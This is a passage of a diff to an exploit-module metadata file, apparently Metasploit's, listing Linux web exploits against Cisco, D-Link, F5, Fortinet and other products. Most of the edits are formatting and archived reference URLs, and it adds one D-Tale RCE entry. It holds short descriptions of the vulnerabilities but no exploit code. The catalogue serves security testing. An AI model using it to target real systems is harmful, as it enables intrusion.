Management Engine 5.1 agent/linuxpkgs Path Traversal", "fullname": "exploit/linux/http/cfme_manageiq_evm_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-04", "type": "exploit", @@ -71398,17 +61673,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/chamilo_bigupload_webshell": { "name": "Chamilo v1.11.24 Unrestricted File Upload PHP Webshell", "fullname": "exploit/linux/http/chamilo_bigupload_webshell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-11-28", "type": "exploit", @@ -71467,9 +61739,7 @@ "exploit_linux/http/chamilo_unauth_rce_cve_2023_34960": { "name": "Chamilo unauthenticated command injection in PowerPoint upload", "fullname": "exploit/linux/http/chamilo_unauth_rce_cve_2023_34960", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-01", "type": "exploit", @@ -71531,9 +61801,7 @@ "exploit_linux/http/chaos_rat_xss_to_rce": { "name": "Chaos RAT XSS to RCE", "fullname": "exploit/linux/http/chaos_rat_xss_to_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-04-10", "type": "exploit", @@ -71594,9 +61862,7 @@ "exploit_linux/http/cisco_asax_sfr_rce": { "name": "Cisco ASA-X with FirePOWER Services Authenticated Command Injection", "fullname": "exploit/linux/http/cisco_asax_sfr_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-22", "type": "exploit", @@ -71656,9 +61922,7 @@ "exploit_linux/http/cisco_firepower_useradd": { "name": "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability", "fullname": "exploit/linux/http/cisco_firepower_useradd", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-10-10", "type": "exploit", @@ -71699,17 +61963,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/cisco_hyperflex_file_upload_rce": { "name": "Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)", "fullname": "exploit/linux/http/cisco_hyperflex_file_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-05", "type": "exploit", @@ -71772,9 +62033,7 @@ "exploit_linux/http/cisco_hyperflex_hx_data_platform_cmd_exec": { "name": "Cisco HyperFlex HX Data Platform Command Execution", "fullname": "exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-05", "type": "exploit", @@ -71838,9 +62097,7 @@ "exploit_linux/http/cisco_prime_inf_rce": { "name": "Cisco Prime Infrastructure Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/cisco_prime_inf_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-10-04", "type": "exploit", @@ -71883,17 +62140,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/cisco_rv32x_rce": { "name": "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/cisco_rv32x_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-09-09", "type": "exploit", @@ -71940,17 +62194,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/cisco_rv340_lan": { "name": "Cisco RV Series Authentication Bypass and Command Injection", "fullname": "exploit/linux/http/cisco_rv340_lan", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-11-02", "type": "exploit", @@ -72013,9 +62264,7 @@ "exploit_linux/http/cisco_rv_series_authbypass_and_rce": { "name": "Cisco Small Business RV Series Authentication Bypass and Command Injection", "fullname": "exploit/linux/http/cisco_rv_series_authbypass_and_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-04-07", "type": "exploit", @@ -72078,9 +62327,7 @@ "exploit_linux/http/cisco_ucs_cloupia_script_rce": { "name": "Cisco UCS Director Cloupia Script RCE", "fullname": "exploit/linux/http/cisco_ucs_cloupia_script_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-15", "type": "exploit", @@ -72144,9 +62391,7 @@ "exploit_linux/http/cisco_ucs_rce": { "name": "Cisco UCS Director Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/cisco_ucs_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-08-21", "type": "exploit", @@ -72190,17 +62435,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/control_web_panel_login_cmd_exec": { "name": "CWP login.php Unauthenticated RCE", "fullname": "exploit/linux/http/control_web_panel_login_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-05", "type": "exploit", @@ -72261,9 +62503,7 @@ "exploit_linux/http/cpi_tararchive_upload": { "name": "Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability", "fullname": "exploit/linux/http/cpi_tararchive_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-15", "type": "exploit", @@ -72324,9 +62564,7 @@ "exploit_linux/http/craftcms_ftp_template": { "name": "Craft CMS Twig Template Injection RCE via FTP Templates Path", "fullname": "exploit/linux/http/craftcms_ftp_template", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-12-19", "type": "exploit", @@ -72387,9 +62625,7 @@ "exploit_linux/http/craftcms_unauth_rce_cve_2023_41892": { "name": "Craft CMS unauthenticated Remote Code Execution (RCE)", "fullname": "exploit/linux/http/craftcms_unauth_rce_cve_2023_41892", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-09-13", "type": "exploit", @@ -72454,9 +62690,7 @@ "exploit_linux/http/crypttech_cryptolog_login_exec": { "name": "Crypttech CryptoLog Remote Code Execution", "fullname": "exploit/linux/http/crypttech_cryptolog_login_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-03", "type": "exploit", @@ -72495,8 +62729,7 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -72572,9 +62805,7 @@ "exploit_linux/http/dcos_marathon": { "name": "DC/OS Marathon UI Docker Exploit", "fullname": "exploit/linux/http/dcos_marathon", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-03", "type": "exploit", @@ -72613,17 +62844,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/ddwrt_cgibin_exec": { "name": "DD-WRT HTTP Daemon Arbitrary Command Execution", "fullname": "exploit/linux/http/ddwrt_cgibin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-07-20", "type": "exploit", @@ -72666,17 +62894,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/denyall_waf_exec": { "name": "DenyAll Web Application Firewall Remote Code Execution", "fullname": "exploit/linux/http/denyall_waf_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-09-19", "type": "exploit", @@ -72717,17 +62942,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_authentication_cgi_bof": { "name": "D-Link authentication.cgi Buffer Overflow", "fullname": "exploit/linux/http/dlink_authentication_cgi_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-08", "type": "exploit", @@ -72741,7 +62963,7 @@ "OSVDB-95951", "EDB-27283", "URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008", - "URL-http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000", + "URL-http://web.archive.org/web/20140122174138/http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000", "URL-http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt" ], "platform": "Linux", @@ -72765,24 +62987,21 @@ "targets": [ "D-Link DIR-645 1.03" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb", "is_install_path": true, "ref_name": "linux/http/dlink_authentication_cgi_bof", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_command_php_exec_noauth": { "name": "D-Link Devices Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/dlink_command_php_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-04", "type": "exploit", @@ -72795,7 +63014,7 @@ "OSVDB-89861", "EDB-24453", "BID-57734", - "URL-http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router", + "URL-http://web.archive.org/web/20240619081418/http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router", "URL-http://www.s3cur1ty.de/home-network-horror-days", "URL-http://www.s3cur1ty.de/m1adv2013-003" ], @@ -72820,24 +63039,21 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 11:29:59 +0000", "path": "/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb", "is_install_path": true, "ref_name": "linux/http/dlink_command_php_exec_noauth", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_dcs931l_upload": { "name": "D-Link DCS-931L File Upload", "fullname": "exploit/linux/http/dlink_dcs931l_upload", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-02-23", "type": "exploit", @@ -72881,17 +63097,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/dlink_dcs_930l_authenticated_remote_command_execution": { "name": "D-Link DCS-930L Authenticated Remote Command Execution", "fullname": "exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-20", "type": "exploit", @@ -72899,9 +63112,7 @@ "Nicholas Starke " ], "description": "The D-Link DCS-930L Network Video Camera is vulnerable\n to OS Command Injection via the web interface. The vulnerability\n exists at /setSystemCommand, which is accessible with credentials.\n This vulnerability was present in firmware version 2.01 and fixed\n by 2.12.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": 80, @@ -72932,17 +63143,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_diagnostic_exec_noauth": { "name": "D-Link DIR-645 / DIR-815 diagnostic.php Command Execution", "fullname": "exploit/linux/http/dlink_diagnostic_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-03-05", "type": "exploit", @@ -72987,17 +63195,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/dlink_dir300_exec_telnet": { "name": "D-Link Devices Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/dlink_dir300_exec_telnet", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-22", "type": "exploit", @@ -73040,17 +63245,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_dir605l_captcha_bof": { "name": "D-Link DIR-605L Captcha Handling Buffer Overflow", "fullname": "exploit/linux/http/dlink_dir605l_captcha_bof", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2012-10-08", "type": "exploit", @@ -73091,17 +63293,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_dir615_up_exec": { "name": "D-Link DIR615h OS Command Injection", "fullname": "exploit/linux/http/dlink_dir615_up_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-07", "type": "exploit", @@ -73145,17 +63344,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/dlink_dir850l_unauth_exec": { "name": "DIR-850L (Un)authenticated OS Command Exec", "fullname": "exploit/linux/http/dlink_dir850l_unauth_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-08-09", "type": "exploit", @@ -73196,17 +63392,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_dsl2750b_exec_noauth": { "name": "D-Link DSL-2750B OS Command Injection", "fullname": "exploit/linux/http/dlink_dsl2750b_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2016-02-05", "type": "exploit", @@ -73249,17 +63442,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_dspw110_cookie_noauth_exec": { "name": "D-Link Cookie Command Execution", "fullname": "exploit/linux/http/dlink_dspw110_cookie_noauth_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-06-12", "type": "exploit", @@ -73269,7 +63459,7 @@ ], "description": "This module exploits an anonymous remote upload and code execution vulnerability on different\n D-Link devices. The vulnerability is a command injection in the cookie handling process of the\n lighttpd web server when handling specially crafted cookie values. This module has been\n successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.", "references": [ - "URL-https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110" + "URL-http://web.archive.org/web/20160125171424/https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110" ], "platform": "Linux", "arch": "", @@ -73293,24 +63483,21 @@ "MIPS Little Endian", "MIPS Big Endian" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb", "is_install_path": true, "ref_name": "linux/http/dlink_dspw110_cookie_noauth_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_dspw215_info_cgi_bof": { "name": "D-Link info.cgi POST Request Buffer Overflow", "fullname": "exploit/linux/http/dlink_dspw215_info_cgi_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-22", "type": "exploit", @@ -73352,17 +63539,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_dwl_2600_command_injection": { "name": "DLINK DWL-2600 Authenticated Remote Command Injection", "fullname": "exploit/linux/http/dlink_dwl_2600_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-15", "type": "exploit", @@ -73422,9 +63606,7 @@ "exploit_linux/http/dlink_hedwig_cgi_bof": { "name": "D-Link hedwig.cgi Buffer Overflow in Cookie Header", "fullname": "exploit/linux/http/dlink_hedwig_cgi_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-08", "type": "exploit", @@ -73438,7 +63620,7 @@ "OSVDB-95950", "EDB-27283", "URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008", - "URL-http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000", + "URL-http://web.archive.org/web/20140122174138/http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000", "URL-http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt" ], "platform": "Linux", @@ -73462,24 +63644,21 @@ "targets": [ "Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb", "is_install_path": true, "ref_name": "linux/http/dlink_hedwig_cgi_bof", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_hnap_bof": { "name": "D-Link HNAP Request Remote Buffer Overflow", "fullname": "exploit/linux/http/dlink_hnap_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-15", "type": "exploit", @@ -73525,17 +63704,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_hnap_header_exec_noauth": { "name": "D-Link Devices HNAP SOAPAction-Header Command Execution", "fullname": "exploit/linux/http/dlink_hnap_header_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-13", "type": "exploit", @@ -73578,17 +63754,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dlink_hnap_login_bof": { "name": "Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow", "fullname": "exploit/linux/http/dlink_hnap_login_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-11-07", "type": "exploit", @@ -73631,17 +63804,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/dlink_upnp_exec_noauth": { "name": "D-Link Devices UPnP SOAP Command Execution", "fullname": "exploit/linux/http/dlink_upnp_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-05", "type": "exploit", @@ -73686,17 +63856,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dnalims_admin_exec": { "name": "dnaLIMS Admin Module Command Execution", "fullname": "exploit/linux/http/dnalims_admin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-08", "type": "exploit", @@ -73738,17 +63905,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/docker_daemon_tcp": { "name": "Docker Daemon - Unprotected TCP Socket Exploit", "fullname": "exploit/linux/http/docker_daemon_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-25", "type": "exploit", @@ -73789,17 +63953,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/dolibarr_cmd_exec": { "name": "Dolibarr ERP/CRM Post-Auth OS Command Injection", "fullname": "exploit/linux/http/dolibarr_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-06", "type": "exploit", @@ -73840,17 +64001,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/dreambox_openpli_shell": { "name": "OpenPLI Webif Arbitrary Command Execution", "fullname": "exploit/linux/http/dreambox_openpli_shell", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-02-08", "type": "exploit", @@ -73893,7 +64051,67 @@ "check": false, "post_auth": false, "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": null + }, + "exploit_linux/http/dtale_rce_cve_2025_0655": { + "name": "D-Tale RCE", + "fullname": "exploit/linux/http/dtale_rce_cve_2025_0655", + "aliases": [], + "rank": 600, + "disclosure_date": "2025-02-05", + "type": "exploit", + "author": [ + "taiphung217", + "Takahiro Yokoyama" + ], + "description": "This exploit effectively serves as a bypass for CVE-2024-3408.\n An attacker can override global state to enable custom filters, which then facilitates remote code execution.\n Specifically, this vulnerability leverages the ability to manipulate global application settings to activate the enable_custom_filters feature, typically restricted to trusted environments.\n Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.", + "references": [ + "CVE-2024-3408", + "CVE-2025-0655", + "URL-https://huntr.com/bounties/57a06666-ff85-4577-af19-f3dfb7b02f91", + "URL-https://huntr.com/bounties/f63af7bd-5438-4b36-a39b-4c90466cff13" + ], + "platform": "Linux", + "arch": "", + "rport": 40000, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2025-03-07 08:05:00 +0000", + "path": "/modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb", + "is_install_path": true, + "ref_name": "linux/http/dtale_rce_cve_2025_0655", + "check": true, + "post_auth": false, + "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] }, "session_types": false, "needs_cleanup": null @@ -73901,9 +64119,7 @@ "exploit_linux/http/efw_chpasswd_exec": { "name": "Endian Firewall Proxy Password Change Command Injection", "fullname": "exploit/linux/http/efw_chpasswd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-06-28", "type": "exploit", @@ -73945,17 +64161,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/elfinder_archive_cmd_injection": { "name": "elFinder Archive Command Injection", "fullname": "exploit/linux/http/elfinder_archive_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-06-13", "type": "exploit", @@ -74014,9 +64227,7 @@ "exploit_linux/http/empire_skywalker": { "name": "PowerShellEmpire Arbitrary File Upload (Skywalker)", "fullname": "exploit/linux/http/empire_skywalker", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-10-15", "type": "exploit", @@ -74080,9 +64291,7 @@ "exploit_linux/http/esva_exec": { "name": "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection", "fullname": "exploit/linux/http/esva_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-16", "type": "exploit", @@ -74124,17 +64333,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/eyesofnetwork_autodiscovery_rce": { "name": "EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution", "fullname": "exploit/linux/http/eyesofnetwork_autodiscovery_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-06", "type": "exploit", @@ -74265,9 +64471,7 @@ "exploit_linux/http/f5_bigip_tmui_rce_cve_2023_46747": { "name": "F5 BIG-IP TMUI AJP Smuggling RCE", "fullname": "exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-26", "type": "exploit", @@ -74318,9 +64522,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "config-changes" @@ -74332,9 +64534,7 @@ "exploit_linux/http/f5_icall_cmd": { "name": "F5 iControl iCall::Script Root Command Execution", "fullname": "exploit/linux/http/f5_icall_cmd", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-03", "type": "exploit", @@ -74376,17 +64576,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/f5_icontrol_exec": { "name": "F5 iControl Remote Root Command Execution", "fullname": "exploit/linux/http/f5_icontrol_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-17", "type": "exploit", @@ -74426,17 +64623,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/f5_icontrol_rce": { "name": "F5 BIG-IP iControl RCE via REST Authentication Bypass", "fullname": "exploit/linux/http/f5_icontrol_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-05-04", "type": "exploit", @@ -74500,9 +64694,7 @@ "exploit_linux/http/f5_icontrol_rest_ssrf_rce": { "name": "F5 iControl REST Unauthenticated SSRF Token Generation RCE", "fullname": "exploit/linux/http/f5_icontrol_rest_ssrf_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-10", "type": "exploit", @@ -74565,9 +64757,7 @@ "exploit_linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800": { "name": "F5 BIG-IP iControl Authenticated RCE via RPM Creator", "fullname": "exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-11-16", "type": "exploit", @@ -74627,9 +64817,7 @@ "exploit_linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622": { "name": "F5 BIG-IP iControl CSRF File Write SOAP API", "fullname": "exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-11-16", "type": "exploit", @@ -74648,12 +64836,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Restart", "Login", @@ -74684,9 +64868,7 @@ "exploit_linux/http/flir_ax8_unauth_rce_cve_2022_37061": { "name": "FLIR AX8 unauthenticated RCE", "fullname": "exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-08-19", "type": "exploit", @@ -74748,9 +64930,7 @@ "exploit_linux/http/foreman_openstack_satellite_code_exec": { "name": "Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection", "fullname": "exploit/linux/http/foreman_openstack_satellite_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-06", "type": "exploit", @@ -74794,17 +64974,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/fortinac_keyupload_file_write": { "name": "Fortinet FortiNAC keyUpload.jsp arbitrary file write", "fullname": "exploit/linux/http/fortinac_keyupload_file_write", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-02-16", "type": "exploit", @@ -74869,9 +65046,7 @@ "exploit_linux/http/fortinet_authentication_bypass_cve_2022_40684": { "name": "Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.", "fullname": "exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-10", "type": "exploit", @@ -74931,9 +65106,7 @@ "exploit_linux/http/fritzbox_echo_exec": { "name": "Fritz!Box Webcm Unauthenticated Command Injection", "fullname": "exploit/linux/http/fritzbox_echo_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-02-11", "type": "exploit", @@ -74982,17 +65155,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/froxlor_log_path_rce": { "name": "Froxlor Log Path RCE", "fullname": "exploit/linux/http/froxlor_log_path_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-29", "type": "exploit", @@ -75052,9 +65222,7 @@ "exploit_linux/http/geutebruck_cmdinject_cve_2021_335xx": { "name": "Geutebruck Multiple Remote Command Execution", "fullname": "exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-07-08", "type": "exploit", @@ -75073,7 +65241,7 @@ "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554", - "URL-http://geutebruck.com", + "URL-https://www.geutebrueck.com/index.html", "URL-https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/", "URL-https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03" ], @@ -75104,7 +65272,7 @@ "CVE-2021-33553 - testcmd.cgi", "CVE-2021-33554 - tmpapp.cgi" ], - "mod_time": "2022-10-01 17:54:59 +0000", + "mod_time": "2025-02-28 11:29:59 +0000", "path": "/modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb", "is_install_path": true, "ref_name": "linux/http/geutebruck_cmdinject_cve_2021_335xx", @@ -75128,9 +65296,7 @@ "exploit_linux/http/geutebruck_instantrec_bof": { "name": "Geutebruck instantrec Remote Command Execution", "fullname": "exploit/linux/http/geutebruck_instantrec_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-07-08", "type": "exploit", @@ -75142,7 +65308,7 @@ "references": [ "CVE-2021-33549", 